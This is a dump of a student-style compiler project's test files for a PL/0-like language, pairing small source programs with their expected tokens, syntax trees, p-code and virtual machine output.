ELSE 35 | IF 36 | LPAREN 37 | IDENT x 38 | EQ 39 | NUMBER 1 40 | RPAREN 41 | OR 42 | LPAREN 43 | IDENT x 44 | EQ 45 | NUMBER 2 46 | RPAREN 47 | THEN 48 | RETURN 49 | NUMBER 1 50 | ELSE 51 | BEGIN 52 | IDENT f1 53 | ASSIGN 54 | IDENT fib 55 | LPAREN 56 | IDENT x 57 | MINUS 58 | NUMBER 1 59 | RPAREN 60 | IDENT f0 61 | ASSIGN 62 | IDENT fib 63 | LPAREN 64 | IDENT x 65 | MINUS 66 | NUMBER 2 67 | RPAREN 68 | RETURN 69 | IDENT f1 70 | PLUS 71 | IDENT f0 72 | END 73 | END 74 | BEGIN 75 | IDENT x 76 | ASSIGN 77 | NUMBER 1 78 | WHILE 79 | IDENT x 80 | LT 81 | NUMBER 8 82 | DO 83 | BEGIN 84 | IDENT result 85 | ASSIGN 86 | IDENT fib 87 | LPAREN 88 | IDENT x 89 | RPAREN 90 | WRITE 91 | IDENT result 92 | IDENT x 93 | ASSIGN 94 | IDENT x 95 | PLUS 96 | NUMBER 1 97 | END 98 | END 99 | EOT 100 | -------------------------------------------------------------------------------- /project/tests/fib_series.vmout: -------------------------------------------------------------------------------- 1 | 1 2 | 1 3 | 2 4 | 3 5 | 5 6 | 8 7 | 13 8 | -------------------------------------------------------------------------------- /project/tests/function.ast: -------------------------------------------------------------------------------- 1 | TranslationUnit 2 | | block = Block 3 | | | vardecls = TypedIdentList 4 | | | | TypedIdent 5 | | | | | identifier = x 6 | | | | | type = INT 7 | | | | TypedIdent 8 | | | | | identifier = result 9 | | | | | type = INT 10 | | | funcdecls = FuncDeclList 11 | | | | FuncDecl 12 | | | | | identifier = f 13 | | | | | formals = TypedIdentList 14 | | | | | | TypedIdent 15 | | | | | | | identifier = x 16 | | | | | | | type = INT 17 | | | | | has_return = true 18 | | | | | return_type = INT 19 | | | | | block = Block 20 | | | | | | vardecls = TypedIdentList 21 | | | | | | funcdecls = FuncDeclList 22 | | | | | | statement = CompoundStatement 23 | | | | | | | compound_statement = StatementList 24 | | | | | | | | ReturnStatement 25 | | | | | | | | | return_expression = VariableFactor 26 | | | | | | | | | | variable = x 27 | | | statement = CompoundStatement 28 | | | | compound_statement = StatementList 29 | | | | | AssignStatement 30 | | | | | | assign_variable = x 31 | | | | | | assign_expression = NumberFactor 32 | | | | | | | number_value = 2 33 | | | | | AssignStatement 34 | | | | | | assign_variable = result 35 | | | | | | assign_expression = FunctionFactor 36 | | | | | | | function_name = f 37 | | | | | | | function_parameters = ExpressionList 38 | | | | | | | | VariableFactor 39 | | | | | | | | | variable = x 40 | | | | | WriteStatement 41 | | | | | | write_expression = VariableFactor 42 | | | | | | | variable = result 43 | -------------------------------------------------------------------------------- /project/tests/function.pcode: -------------------------------------------------------------------------------- 1 | addi sp sp 1 2 | addi sp sp 1 3 | br 15 4 | psh ln sp 5 | psh fp sp 6 | mov fp sp 7 | br 1 8 | ld r0 fp -4 9 | st r0 fp -3 10 | mov sp fp 11 | pop fp sp 12 | pop ln sp 13 | ret ln 14 | mov sp fp 15 | pop fp sp 16 | pop ln sp 17 | ret ln 18 | movi r0 2 19 | st r0 fp 1 20 | addi sp sp 1 21 | ld r0 fp 1 22 | st r0 sp 0 23 | addi sp sp 1 24 | psh fp sp 25 | bl -21 26 | subi sp sp 1 27 | pop r0 sp 28 | subi sp sp 1 29 | st r0 fp 2 30 | ld r0 fp 2 31 | wr r0 32 | hlt 33 | -------------------------------------------------------------------------------- /project/tests/function.pl0: -------------------------------------------------------------------------------- 1 | var x : int 2 | var result : int 3 | function f(x : int) : int 4 | begin 5 | return x 6 | end 7 | begin 8 | x := 2 9 | result := f(x) 10 | write result 11 | end 12 | -------------------------------------------------------------------------------- /project/tests/function.tokens: -------------------------------------------------------------------------------- 1 | VAR 2 | IDENT x 3 | COLON 4 | INT 5 | VAR 6 | IDENT result 7 | COLON 8 | INT 9 | FUNC 10 | IDENT f 11 | LPAREN 12 | IDENT x 13 | COLON 14 | INT 15 | RPAREN 16 | COLON 17 | INT 18 | BEGIN 19 | RETURN 20 | IDENT x 21 | END 22 | BEGIN 23 | IDENT x 24 | ASSIGN 25 | NUMBER 2 26 | IDENT result 27 | ASSIGN 28 | IDENT f 29 | LPAREN 30 | IDENT x 31 | RPAREN 32 | WRITE 33 | IDENT result 34 | END 35 | EOT 36 | -------------------------------------------------------------------------------- /project/tests/function.vmout: -------------------------------------------------------------------------------- 1 | 2 2 | -------------------------------------------------------------------------------- /project/tests/if.ast: -------------------------------------------------------------------------------- 1 | TranslationUnit 2 | | block = Block 3 | | | vardecls = TypedIdentList 4 | | | funcdecls = FuncDeclList 5 | | | statement = CompoundStatement 6 | | | | compound_statement = StatementList 7 | | | | | IfStatement 8 | | | | | | if_condition = BooleanFactor 9 | | | | | | | boolean_value = true 10 | | | | | | if_branch = WriteStatement 11 | | | | | | | write_expression = NumberFactor 12 | | | | | | | | number_value = 1 13 | | | | | | if_elsebranch = 14 | | | | | IfStatement 15 | | | | | | if_condition = BooleanFactor 16 | | | | | | | boolean_value = false 17 | | | | | | if_branch = WriteStatement 18 | | | | | | | write_expression = NumberFactor 19 | | | | | | | | number_value = 1 20 | | | | | | if_elsebranch = 21 | -------------------------------------------------------------------------------- /project/tests/if.pcode: -------------------------------------------------------------------------------- 1 | br 1 2 | movi r0 1 3 | cmpi r0 1 4 | bne 4 5 | movi r0 1 6 | wr r0 7 | br 1 8 | movi r0 0 9 | cmpi r0 1 10 | bne 4 11 | movi r0 1 12 | wr r0 13 | br 1 14 | hlt 15 | -------------------------------------------------------------------------------- /project/tests/if.pl0: -------------------------------------------------------------------------------- 1 | begin 2 | if true then 3 | write 1 4 | if false then 5 | write 1 6 | end 7 | -------------------------------------------------------------------------------- /project/tests/if.tokens: -------------------------------------------------------------------------------- 1 | BEGIN 2 | IF 3 | TRUE 4 | THEN 5 | WRITE 6 | NUMBER 1 7 | IF 8 | FALSE 9 | THEN 10 | WRITE 11 | NUMBER 1 12 | END 13 | EOT 14 | -------------------------------------------------------------------------------- /project/tests/if.types: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | TranslationUnit 3 | | scope = 4 | | block = Block 5 | | | vardecls = TypedIdentList 6 | | | funcdecls = FuncDeclList 7 | | | statement = CompoundStatement 8 | | | | compound_statement = StatementList 9 | | | | | IfStatement 10 | | | | | | if_condition = BooleanFactor 11 | | | | | | | ershov = 1 12 | | | | | | | datatype = bool 13 | | | | | | | boolean_value = true 14 | | | | | | if_branch = WriteStatement 15 | | | | | | | write_expression = NumberFactor 16 | | | | | | | | ershov = 1 17 | | | | | | | | datatype = int 18 | | | | | | | | number_value = 1 19 | | | | | | if_elsebranch = 20 | | | | | IfStatement 21 | | | | | | if_condition = BooleanFactor 22 | | | | | | | ershov = 1 23 | | | | | | | datatype = bool 24 | | | | | | | boolean_value = false 25 | | | | | | if_branch = WriteStatement 26 | | | | | | | write_expression = NumberFactor 27 | | | | | | | | ershov = 1 28 | | | | | | | | datatype = int 29 | | | | | | | | number_value = 1 30 | | | | | | if_elsebranch = 31 | -------------------------------------------------------------------------------- /project/tests/if.vmout: -------------------------------------------------------------------------------- 1 | 1 2 | -------------------------------------------------------------------------------- /project/tests/ifthenelse.ast: -------------------------------------------------------------------------------- 1 | TranslationUnit 2 | | block = Block 3 | | | vardecls = TypedIdentList 4 | | | funcdecls = FuncDeclList 5 | | | statement = CompoundStatement 6 | | | | compound_statement = StatementList 7 | | | | | IfStatement 8 | | | | | | if_condition = BooleanFactor 9 | | | | | | | boolean_value = true 10 | | | | | | if_branch = WriteStatement 11 | | | | | | | write_expression = NumberFactor 12 | | | | | | | | number_value = 1 13 | | | | | | if_elsebranch = WriteStatement 14 | | | | | | | write_expression = NumberFactor 15 | | | | | | | | number_value = 0 16 | | | | | IfStatement 17 | | | | | | if_condition = BooleanFactor 18 | | | | | | | boolean_value = false 19 | | | | | | if_branch = WriteStatement 20 | | | | | | | write_expression = NumberFactor 21 | | | | | | | | number_value = 1 22 | | | | | | if_elsebranch = WriteStatement 23 | | | | | | | write_expression = NumberFactor 24 | | | | | | | | number_value = 0 25 | -------------------------------------------------------------------------------- /project/tests/ifthenelse.pcode: -------------------------------------------------------------------------------- 1 | br 1 2 | movi r0 1 3 | cmpi r0 1 4 | bne 4 5 | movi r0 1 6 | wr r0 7 | br 3 8 | movi r0 0 9 | wr r0 10 | movi r0 0 11 | cmpi r0 1 12 | bne 4 13 | movi r0 1 14 | wr r0 15 | br 3 16 | movi r0 0 17 | wr r0 18 | hlt 19 | -------------------------------------------------------------------------------- /project/tests/ifthenelse.pl0: -------------------------------------------------------------------------------- 1 | begin 2 | if true then 3 | write 1 4 | else 5 | write 0 6 | if false then 7 | write 1 8 | else 9 | write 0 10 | end 11 | -------------------------------------------------------------------------------- /project/tests/ifthenelse.tokens: -------------------------------------------------------------------------------- 1 | BEGIN 2 | IF 3 | TRUE 4 | THEN 5 | WRITE 6 | NUMBER 1 7 | ELSE 8 | WRITE 9 | NUMBER 0 10 | IF 11 | FALSE 12 | THEN 13 | WRITE 14 | NUMBER 1 15 | ELSE 16 | WRITE 17 | NUMBER 0 18 | END 19 | EOT 20 | -------------------------------------------------------------------------------- /project/tests/ifthenelse.types: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | TranslationUnit 3 | | scope = 4 | | block = Block 5 | | | vardecls = TypedIdentList 6 | | | funcdecls = FuncDeclList 7 | | | statement = CompoundStatement 8 | | | | compound_statement = StatementList 9 | | | | | IfStatement 10 | | | | | | if_condition = BooleanFactor 11 | | | | | | | ershov = 1 12 | | | | | | | datatype = bool 13 | | | | | | | boolean_value = true 14 | | | | | | if_branch = WriteStatement 15 | | | | | | | write_expression = NumberFactor 16 | | | | | | | | ershov = 1 17 | | | | | | | | datatype = int 18 | | | | | | | | number_value = 1 19 | | | | | | if_elsebranch = WriteStatement 20 | | | | | | | write_expression = NumberFactor 21 | | | | | | | | ershov = 1 22 | | | | | | | | datatype = int 23 | | | | | | | | number_value = 0 24 | | | | | IfStatement 25 | | | | | | if_condition = BooleanFactor 26 | | | | | | | ershov = 1 27 | | | | | | | datatype = bool 28 | | | | | | | boolean_value = false 29 | | | | | | if_branch = WriteStatement 30 | | | | | | | write_expression = NumberFactor 31 | | | | | | | | ershov = 1 32 | | | | | | | | datatype = int 33 | | | | | | | | number_value = 1 34 | | | | | | if_elsebranch = WriteStatement 35 | | | | | | | write_expression = NumberFactor 36 | | | | | | | | ershov = 1 37 | | | | | | | | datatype = int 38 | | | | | | | | number_value = 0 39 | -------------------------------------------------------------------------------- /project/tests/ifthenelse.vmout: -------------------------------------------------------------------------------- 1 | 1 2 | 0 3 | -------------------------------------------------------------------------------- /project/tests/isodd_iseven.pcode: -------------------------------------------------------------------------------- 1 | addi sp sp 1 2 | addi sp sp 1 3 | br 56 4 | psh ln sp 5 | psh fp sp 6 | mov fp sp 7 | br 1 8 | movi r0 2 9 | ld r1 fp -4 10 | mod r0 r1 r0 11 | movi r1 0 12 | cmp r0 r1 13 | beq 3 14 | movi r0 0 15 | br 2 16 | movi r0 1 17 | cmpi r0 0 18 | beq 3 19 | movi r0 0 20 | br 2 21 | movi r0 1 22 | st r0 fp -3 23 | mov sp fp 24 | pop fp sp 25 | pop ln sp 26 | ret ln 27 | mov sp fp 28 | pop fp sp 29 | pop ln sp 30 | ret ln 31 | psh ln sp 32 | psh fp sp 33 | mov fp sp 34 | br 1 35 | addi sp sp 1 36 | ld r0 fp -4 37 | st r0 sp 0 38 | addi sp sp 1 39 | ld r0 fp -2 40 | psh r0 sp 41 | bl -37 42 | subi sp sp 1 43 | pop r0 sp 44 | subi sp sp 1 45 | cmpi r0 0 46 | beq 3 47 | movi r0 0 48 | br 2 49 | movi r0 1 50 | st r0 fp -3 51 | mov sp fp 52 | pop fp sp 53 | pop ln sp 54 | ret ln 55 | mov sp fp 56 | pop fp sp 57 | pop ln sp 58 | ret ln 59 | movi r0 0 60 | st r0 fp 1 61 | movi r0 10 62 | ld r1 fp 1 63 | cmp r1 r0 64 | blt 3 65 | movi r0 0 66 | br 2 67 | movi r0 1 68 | cmpi r0 1 69 | bne 28 70 | addi sp sp 1 71 | ld r0 fp 1 72 | st r0 sp 0 73 | addi sp sp 1 74 | psh fp sp 75 | bl -71 76 | subi sp sp 1 77 | pop r0 sp 78 | subi sp sp 1 79 | st r0 fp 2 80 | ld r0 fp 2 81 | wr r0 82 | addi sp sp 1 83 | ld r0 fp 1 84 | st r0 sp 0 85 | addi sp sp 1 86 | psh fp sp 87 | bl -56 88 | subi sp sp 1 89 | pop r0 sp 90 | subi sp sp 1 91 | wr r0 92 | movi r0 1 93 | ld r1 fp 1 94 | add r0 r1 r0 95 | st r0 fp 1 96 | br -35 97 | hlt 98 | -------------------------------------------------------------------------------- /project/tests/isodd_iseven.pl0: -------------------------------------------------------------------------------- 1 | var x : int 2 | var y : bool 3 | 4 | function isodd(x : int) : bool 5 | return not (x % 2 = 0) 6 | 7 | function iseven(x : int): bool 8 | return not isodd(x) 9 | 10 | begin 11 | x := 0 12 | while x < 10 do 13 | begin 14 | y := isodd(x) 15 | write y 16 | 17 | write iseven(x) 18 | x := x + 1 19 | end 20 | end -------------------------------------------------------------------------------- /project/tests/isodd_iseven.tokens: -------------------------------------------------------------------------------- 1 | VAR 2 | IDENT x 3 | COLON 4 | INT 5 | VAR 6 | IDENT y 7 | COLON 8 | BOOL 9 | FUNC 10 | IDENT isodd 11 | LPAREN 12 | IDENT x 13 | COLON 14 | INT 15 | RPAREN 16 | COLON 17 | BOOL 18 | RETURN 19 | NOT 20 | LPAREN 21 | IDENT x 22 | MOD 23 | NUMBER 2 24 | EQ 25 | NUMBER 0 26 | RPAREN 27 | FUNC 28 | IDENT iseven 29 | LPAREN 30 | IDENT x 31 | COLON 32 | INT 33 | RPAREN 34 | COLON 35 | BOOL 36 | RETURN 37 | NOT 38 | IDENT isodd 39 | LPAREN 40 | IDENT x 41 | RPAREN 42 | BEGIN 43 | IDENT x 44 | ASSIGN 45 | NUMBER 0 46 | WHILE 47 | IDENT x 48 | LT 49 | NUMBER 10 50 | DO 51 | BEGIN 52 | IDENT y 53 | ASSIGN 54 | IDENT isodd 55 | LPAREN 56 | IDENT x 57 | RPAREN 58 | WRITE 59 | IDENT y 60 | WRITE 61 | IDENT iseven 62 | LPAREN 63 | IDENT x 64 | RPAREN 65 | IDENT x 66 | ASSIGN 67 | IDENT x 68 | PLUS 69 | NUMBER 1 70 | END 71 | END 72 | EOT 73 | -------------------------------------------------------------------------------- /project/tests/isodd_iseven.vmout: -------------------------------------------------------------------------------- 1 | 0 2 | 1 3 | 1 4 | 0 5 | 0 6 | 1 7 | 1 8 | 0 9 | 0 10 | 1 11 | 1 12 | 0 13 | 0 14 | 1 15 | 1 16 | 0 17 | 0 18 | 1 19 | 1 20 | 0 21 | -------------------------------------------------------------------------------- /project/tests/isprime.pl0: -------------------------------------------------------------------------------- 1 | function isprime(param : int) : bool 2 | var x : int 3 | begin 4 | if param < 1 then 5 | return false 6 | else if (param = 1) or (param = 2) then 7 | return true 8 | 9 | x := 2 10 | while x < param do 11 | begin 12 | if param % x = 0 then 13 | begin 14 | return false 15 | end 16 | 17 | x := x + 1 18 | end 19 | 20 | return true 21 | end 22 | 23 | begin 24 | write isprime(1) 25 | write isprime(2) 26 | write isprime(3) 27 | write isprime(4) 28 | write isprime(5) 29 | end 30 | -------------------------------------------------------------------------------- /project/tests/isprime.tokens: -------------------------------------------------------------------------------- 1 | FUNC 2 | IDENT isprime 3 | LPAREN 4 | IDENT param 5 | COLON 6 | INT 7 | RPAREN 8 | COLON 9 | BOOL 10 | VAR 11 | IDENT x 12 | COLON 13 | INT 14 | BEGIN 15 | IF 16 | IDENT param 17 | LT 18 | NUMBER 1 19 | THEN 20 | RETURN 21 | FALSE 22 | ELSE 23 | IF 24 | LPAREN 25 | IDENT param 26 | EQ 27 | NUMBER 1 28 | RPAREN 29 | OR 30 | LPAREN 31 | IDENT param 32 | EQ 33 | NUMBER 2 34 | RPAREN 35 | THEN 36 | RETURN 37 | TRUE 38 | IDENT x 39 | ASSIGN 40 | NUMBER 2 41 | WHILE 42 | IDENT x 43 | LT 44 | IDENT param 45 | DO 46 | BEGIN 47 | IF 48 | IDENT param 49 | MOD 50 | IDENT x 51 | EQ 52 | NUMBER 0 53 | THEN 54 | BEGIN 55 | RETURN 56 | FALSE 57 | END 58 | IDENT x 59 | ASSIGN 60 | IDENT x 61 | PLUS 62 | NUMBER 1 63 | END 64 | RETURN 65 | TRUE 66 | END 67 | BEGIN 68 | WRITE 69 | IDENT isprime 70 | LPAREN 71 | NUMBER 1 72 | RPAREN 73 | WRITE 74 | IDENT isprime 75 | LPAREN 76 | NUMBER 2 77 | RPAREN 78 | WRITE 79 | IDENT isprime 80 | LPAREN 81 | NUMBER 3 82 | RPAREN 83 | WRITE 84 | IDENT isprime 85 | LPAREN 86 | NUMBER 4 87 | RPAREN 88 | WRITE 89 | IDENT isprime 90 | LPAREN 91 | NUMBER 5 92 | RPAREN 93 | END 94 | EOT 95 | -------------------------------------------------------------------------------- /project/tests/isprime.vmout: -------------------------------------------------------------------------------- 1 | 1 2 | 1 3 | 1 4 | 0 5 | 1 6 | -------------------------------------------------------------------------------- /project/tests/nested.pcode: -------------------------------------------------------------------------------- 1 | addi sp sp 1 2 | addi sp sp 1 3 | br 20 4 | psh ln sp 5 | psh fp sp 6 | mov fp sp 7 | addi sp sp 1 8 | br 1 9 | movi r0 3 10 | st r0 fp 1 11 | mov r0 fp 12 | ld r0 r0 -2 13 | ld r0 r0 1 14 | wr r0 15 | ld r0 fp -4 16 | wr r0 17 | ld r0 fp 1 18 | wr r0 19 | mov sp fp 20 | pop fp sp 21 | pop ln sp 22 | ret ln 23 | movi r0 1 24 | st r0 fp 1 25 | addi sp sp 1 26 | movi r0 2 27 | st r0 sp 0 28 | addi sp sp 1 29 | psh fp sp 30 | bl -26 31 | subi sp sp 1 32 | pop r0 sp 33 | subi sp sp 1 34 | st r0 fp 2 35 | ld r0 fp 1 36 | wr r0 37 | hlt 38 | -------------------------------------------------------------------------------- /project/tests/nested.pl0: -------------------------------------------------------------------------------- 1 | var global : int 2 | var retval : int 3 | function f(param : int) : int 4 | var local : int 5 | begin 6 | local := 3 7 | write global 8 | write param 9 | write local 10 | end 11 | begin 12 | global := 1 13 | retval := f(2) 14 | # f(2) 15 | write global 16 | end 17 | -------------------------------------------------------------------------------- /project/tests/nested.tokens: -------------------------------------------------------------------------------- 1 | VAR 2 | IDENT global 3 | COLON 4 | INT 5 | VAR 6 | IDENT retval 7 | COLON 8 | INT 9 | FUNC 10 | IDENT f 11 | LPAREN 12 | IDENT param 13 | COLON 14 | INT 15 | RPAREN 16 | COLON 17 | INT 18 | VAR 19 | IDENT local 20 | COLON 21 | INT 22 | BEGIN 23 | IDENT local 24 | ASSIGN 25 | NUMBER 3 26 | WRITE 27 | IDENT global 28 | WRITE 29 | IDENT param 30 | WRITE 31 | IDENT local 32 | END 33 | BEGIN 34 | IDENT global 35 | ASSIGN 36 | NUMBER 1 37 | IDENT retval 38 | ASSIGN 39 | IDENT f 40 | LPAREN 41 | NUMBER 2 42 | RPAREN 43 | WRITE 44 | IDENT global 45 | END 46 | EOT 47 | -------------------------------------------------------------------------------- /project/tests/nested.vmout: -------------------------------------------------------------------------------- 1 | 1 2 | 2 3 | 3 4 | 1 5 | -------------------------------------------------------------------------------- /project/tests/palindrome.vmout: -------------------------------------------------------------------------------- 1 | 1 2 | 0 3 | 0 4 | 1 5 | 1 6 | 1 7 | 0 8 | 0 9 | 1 10 | -------------------------------------------------------------------------------- /project/tests/pow.pl0: -------------------------------------------------------------------------------- 1 | # for simplicity: power should be non-negative 2 | function pow(base : int, power : int) : int 3 | var x : int 4 | begin 5 | if power < 1 then 6 | return 1 7 | 8 | while power > 1 do 9 | begin 10 | base := base * base 11 | power := power - 1 12 | end 13 | 14 | return base 15 | end 16 | 17 | begin 18 | write pow(1, 10) 19 | write pow(2, 0) 20 | write pow(2, 1) 21 | write pow(2, 2) 22 | write pow(2, 3) 23 | write pow(10, 0) 24 | write pow(10, 1) 25 | write pow(10, 2) 26 | write pow(10, 3) 27 | end -------------------------------------------------------------------------------- /project/tests/pow.tokens: -------------------------------------------------------------------------------- 1 | FUNC 2 | IDENT pow 3 | LPAREN 4 | IDENT base 5 | COLON 6 | INT 7 | COMMA 8 | IDENT power 9 | COLON 10 | INT 11 | RPAREN 12 | COLON 13 | INT 14 | VAR 15 | IDENT x 16 | COLON 17 | INT 18 | BEGIN 19 | IF 20 | IDENT power 21 | LT 22 | NUMBER 1 23 | THEN 24 | RETURN 25 | NUMBER 1 26 | WHILE 27 | IDENT power 28 | GT 29 | NUMBER 1 30 | DO 31 | BEGIN 32 | IDENT base 33 | ASSIGN 34 | IDENT base 35 | MULT 36 | IDENT base 37 | IDENT power 38 | ASSIGN 39 | IDENT power 40 | MINUS 41 | NUMBER 1 42 | END 43 | RETURN 44 | IDENT base 45 | END 46 | BEGIN 47 | WRITE 48 | IDENT pow 49 | LPAREN 50 | NUMBER 1 51 | COMMA 52 | NUMBER 10 53 | RPAREN 54 | WRITE 55 | IDENT pow 56 | LPAREN 57 | NUMBER 2 58 | COMMA 59 | NUMBER 0 60 | RPAREN 61 | WRITE 62 | IDENT pow 63 | LPAREN 64 | NUMBER 2 65 | COMMA 66 | NUMBER 1 67 | RPAREN 68 | WRITE 69 | IDENT pow 70 | LPAREN 71 | NUMBER 2 72 | COMMA 73 | NUMBER 2 74 | RPAREN 75 | WRITE 76 | IDENT pow 77 | LPAREN 78 | NUMBER 2 79 | COMMA 80 | NUMBER 3 81 | RPAREN 82 | WRITE 83 | IDENT pow 84 | LPAREN 85 | NUMBER 10 86 | COMMA 87 | NUMBER 0 88 | RPAREN 89 | WRITE 90 | IDENT pow 91 | LPAREN 92 | NUMBER 10 93 | COMMA 94 | NUMBER 1 95 | RPAREN 96 | WRITE 97 | IDENT pow 98 | LPAREN 99 | NUMBER 10 100 | COMMA 101 | NUMBER 2 102 | RPAREN 103 | WRITE 104 | IDENT pow 105 | LPAREN 106 | NUMBER 10 107 | COMMA 108 | NUMBER 3 109 | RPAREN 110 | END 111 | EOT 112 | -------------------------------------------------------------------------------- /project/tests/pow.vmout: -------------------------------------------------------------------------------- 1 | 1 2 | 1 3 | 2 4 | 4 5 | 16 6 | 1 7 | 10 8 | 100 9 | 10000 10 | -------------------------------------------------------------------------------- /project/tests/project1/and.pl0: -------------------------------------------------------------------------------- 1 | and 2 | -------------------------------------------------------------------------------- /project/tests/project1/and.tokens: -------------------------------------------------------------------------------- 1 | AND 2 | EOT 3 | -------------------------------------------------------------------------------- /project/tests/project1/assign.pl0: -------------------------------------------------------------------------------- 1 | := 2 | -------------------------------------------------------------------------------- /project/tests/project1/assign.tokens: -------------------------------------------------------------------------------- 1 | ASSIGN 2 | EOT 3 | -------------------------------------------------------------------------------- /project/tests/project1/begin.pl0: -------------------------------------------------------------------------------- 1 | begin 2 | -------------------------------------------------------------------------------- /project/tests/project1/begin.tokens: -------------------------------------------------------------------------------- 1 | BEGIN 2 | EOT 3 | -------------------------------------------------------------------------------- /project/tests/project1/bool.pl0: -------------------------------------------------------------------------------- 1 | bool 2 | -------------------------------------------------------------------------------- /project/tests/project1/bool.tokens: -------------------------------------------------------------------------------- 1 | BOOL 2 | EOT 3 | -------------------------------------------------------------------------------- /project/tests/project1/colon.pl0: -------------------------------------------------------------------------------- 1 | : 2 | -------------------------------------------------------------------------------- /project/tests/project1/colon.tokens: -------------------------------------------------------------------------------- 1 | COLON 2 | EOT 3 | -------------------------------------------------------------------------------- /project/tests/project1/comma.pl0: -------------------------------------------------------------------------------- 1 | , 2 | -------------------------------------------------------------------------------- /project/tests/project1/comma.tokens: -------------------------------------------------------------------------------- 1 | COMMA 2 | EOT 3 | -------------------------------------------------------------------------------- /project/tests/project1/div.pl0: -------------------------------------------------------------------------------- 1 | / 2 | -------------------------------------------------------------------------------- /project/tests/project1/div.tokens: -------------------------------------------------------------------------------- 1 | DIV 2 | EOT 3 | -------------------------------------------------------------------------------- /project/tests/project1/do.pl0: -------------------------------------------------------------------------------- 1 | do 2 | -------------------------------------------------------------------------------- /project/tests/project1/do.tokens: -------------------------------------------------------------------------------- 1 | DO 2 | EOT 3 | -------------------------------------------------------------------------------- /project/tests/project1/else.pl0: -------------------------------------------------------------------------------- 1 | else 2 | -------------------------------------------------------------------------------- /project/tests/project1/else.tokens: -------------------------------------------------------------------------------- 1 | ELSE 2 | EOT 3 | -------------------------------------------------------------------------------- /project/tests/project1/end.pl0: -------------------------------------------------------------------------------- 1 | end 2 | -------------------------------------------------------------------------------- /project/tests/project1/end.tokens: -------------------------------------------------------------------------------- 1 | END 2 | EOT 3 | -------------------------------------------------------------------------------- /project/tests/project1/eq.pl0: -------------------------------------------------------------------------------- 1 | = 2 | -------------------------------------------------------------------------------- /project/tests/project1/eq.tokens: -------------------------------------------------------------------------------- 1 | EQ 2 | EOT 3 | -------------------------------------------------------------------------------- /project/tests/project1/false.pl0: -------------------------------------------------------------------------------- 1 | false 2 | -------------------------------------------------------------------------------- /project/tests/project1/false.tokens: -------------------------------------------------------------------------------- 1 | FALSE 2 | EOT 3 | -------------------------------------------------------------------------------- /project/tests/project1/fib.pl0: -------------------------------------------------------------------------------- 1 | var x : int 2 | var result : int 3 | function fib(x : int) : int 4 | var f0 : int 5 | var f1 : int 6 | begin 7 | if x = 0 then 8 | return 0 9 | else if (x = 1) or (x = 2) then 10 | return 1 11 | else 12 | begin 13 | f1 := fib(x - 1) 14 | f0 := fib(x - 2) 15 | return f1 + f0 16 | end 17 | end 18 | begin 19 | read x 20 | if x >= 0 then 21 | begin 22 | result := fib(x) 23 | write result 24 | end 25 | else 26 | write 1 27 | end 28 | -------------------------------------------------------------------------------- /project/tests/project1/fib.tokens: -------------------------------------------------------------------------------- 1 | VAR 2 | IDENT x 3 | COLON 4 | INT 5 | VAR 6 | IDENT result 7 | COLON 8 | INT 9 | FUNC 10 | IDENT fib 11 | LPAREN 12 | IDENT x 13 | COLON 14 | INT 15 | RPAREN 16 | COLON 17 | INT 18 | VAR 19 | IDENT f0 20 | COLON 21 | INT 22 | VAR 23 | IDENT f1 24 | COLON 25 | INT 26 | BEGIN 27 | IF 28 | IDENT x 29 | EQ 30 | NUMBER 0 31 | THEN 32 | RETURN 33 | NUMBER 0 34 | ELSE 35 | IF 36 | LPAREN 37 | IDENT x 38 | EQ 39 | NUMBER 1 40 | RPAREN 41 | OR 42 | LPAREN 43 | IDENT x 44 | EQ 45 | NUMBER 2 46 | RPAREN 47 | THEN 48 | RETURN 49 | NUMBER 1 50 | ELSE 51 | BEGIN 52 | IDENT f1 53 | ASSIGN 54 | IDENT fib 55 | LPAREN 56 | IDENT x 57 | MINUS 58 | NUMBER 1 59 | RPAREN 60 | IDENT f0 61 | ASSIGN 62 | IDENT fib 63 | LPAREN 64 | IDENT x 65 | MINUS 66 | NUMBER 2 67 | RPAREN 68 | RETURN 69 | IDENT f1 70 | PLUS 71 | IDENT f0 72 | END 73 | END 74 | BEGIN 75 | READ 76 | IDENT x 77 | IF 78 | IDENT x 79 | GTE 80 | NUMBER 0 81 | THEN 82 | BEGIN 83 | IDENT result 84 | ASSIGN 85 | IDENT fib 86 | LPAREN 87 | IDENT x 88 | RPAREN 89 | WRITE 90 | IDENT result 91 | END 92 | ELSE 93 | WRITE 94 | NUMBER 1 95 | END 96 | EOT 97 | -------------------------------------------------------------------------------- /project/tests/project1/function.pl0: -------------------------------------------------------------------------------- 1 | function 2 | -------------------------------------------------------------------------------- /project/tests/project1/function.tokens: -------------------------------------------------------------------------------- 1 | FUNC 2 | EOT 3 | -------------------------------------------------------------------------------- /project/tests/project1/gt.pl0: -------------------------------------------------------------------------------- 1 | > 2 | -------------------------------------------------------------------------------- /project/tests/project1/gt.tokens: -------------------------------------------------------------------------------- 1 | GT 2 | EOT 3 | -------------------------------------------------------------------------------- /project/tests/project1/gte.pl0: -------------------------------------------------------------------------------- 1 | >= 2 | -------------------------------------------------------------------------------- /project/tests/project1/gte.tokens: -------------------------------------------------------------------------------- 1 | GTE 2 | EOT 3 | -------------------------------------------------------------------------------- /project/tests/project1/ident0.pl0: -------------------------------------------------------------------------------- 1 | myident 2 | -------------------------------------------------------------------------------- /project/tests/project1/ident0.tokens: -------------------------------------------------------------------------------- 1 | IDENT myident 2 | EOT 3 | -------------------------------------------------------------------------------- /project/tests/project1/ident1.pl0: -------------------------------------------------------------------------------- 1 | _myident 2 | -------------------------------------------------------------------------------- /project/tests/project1/ident1.tokens: -------------------------------------------------------------------------------- 1 | IDENT _myident 2 | EOT 3 | -------------------------------------------------------------------------------- /project/tests/project1/ident2.pl0: -------------------------------------------------------------------------------- 1 | _1myident 2 | -------------------------------------------------------------------------------- /project/tests/project1/ident2.tokens: -------------------------------------------------------------------------------- 1 | IDENT _1myident 2 | EOT 3 | -------------------------------------------------------------------------------- /project/tests/project1/ident3.pl0: -------------------------------------------------------------------------------- 1 | _myident1 2 | -------------------------------------------------------------------------------- /project/tests/project1/ident3.tokens: -------------------------------------------------------------------------------- 1 | IDENT _myident1 2 | EOT 3 | -------------------------------------------------------------------------------- /project/tests/project1/ident4.pl0: -------------------------------------------------------------------------------- 1 | _1 2 | -------------------------------------------------------------------------------- /project/tests/project1/ident4.tokens: -------------------------------------------------------------------------------- 1 | IDENT _1 2 | EOT 3 | -------------------------------------------------------------------------------- /project/tests/project1/if.pl0: -------------------------------------------------------------------------------- 1 | if 2 | -------------------------------------------------------------------------------- /project/tests/project1/if.tokens: 